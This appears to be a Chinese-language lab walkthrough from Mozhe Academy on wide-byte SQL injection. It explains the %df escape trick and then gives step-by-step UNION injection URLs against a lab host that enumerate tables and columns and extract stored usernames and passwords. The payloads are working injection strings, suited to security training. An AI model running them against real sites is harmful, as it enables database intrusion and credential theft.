墨者學院:SQL注入漏洞測試(寬字節)🚀
1. 寬字節注入原理?
1.1. 與普通注入對比?
特性 | 普通注入 | 寬字節注入 |
---|---|---|
適用場景 | 無轉義處理 | 使用addslashes() 等轉義函數 |
核心原理 | 直接閉合引號 | 利用GBK等編碼吞掉轉義符\ |
關鍵字符 | ' " -- # | %df' %5c' |
防御難度 | 易防御 | 需調整字符集或過濾策略 |
1.2. 技術本質🔍
當數據庫使用GBK等寬字符集時:
原始輸入:id=1%df'
轉義后:1%df\' → GBK將%df\解析為繁體字"運" → 成功逃逸單引號
2. 工具準備🔧
ASCII轉16進制工具:https://coding.tools/cn/ascii-to-hex
3. 滲透測試全流程🎯
3.1. 探測注入點?
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2--+
成功返回錯誤頁面,確認存在寬字節注入
3.2. 確定字段數?
http://124.70.71.251:47481/new_list.php?id=1%df' order by 6--+
當order by 6
時報錯,確認字段數為5
3.3. 定位回顯位?
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5--+
頁面顯示數字3、5為回顯位
3.4. 枚舉數據庫?
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,database(),4,5--+
獲取數據庫名:mozhe_discuz_stormgroup
3.5. 枚舉表名?
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+
關鍵表:stormgroup_member
3.6. 列名獲取(Hex編碼)?
# 將表名轉換為Hex
"stormgroup_member" → 0x73746f726d67726f75705f6d656d626572
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x73746f726d67726f75705f6d656d626572--+
獲取列:id
,name
,password
3.7 數據提取?
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member--+
成功獲取賬號密碼數據
4. 關鍵參數解析表?
參數 | 作用 | 示例值 |
---|---|---|
%df' | 寬字節逃逸轉義符 | id=1%df' |
order by x | 探測字段數 | order by 6--+ |
group_concat() | 聚合查詢結果 | group_concat(table_name) |
0xHEX | 十六進制編碼繞過過濾 | 0x73746f726d67726f75705f6d656d626572 |
information_schema | MySQL元數據庫 | 獲取表/列信息 |
5. 參考聲明📌
本文參考文章地址: https://blog.csdn.net/2301_77578012/article/details/138870423
聲明:本文僅用于安全學習,嚴禁非法測試! ???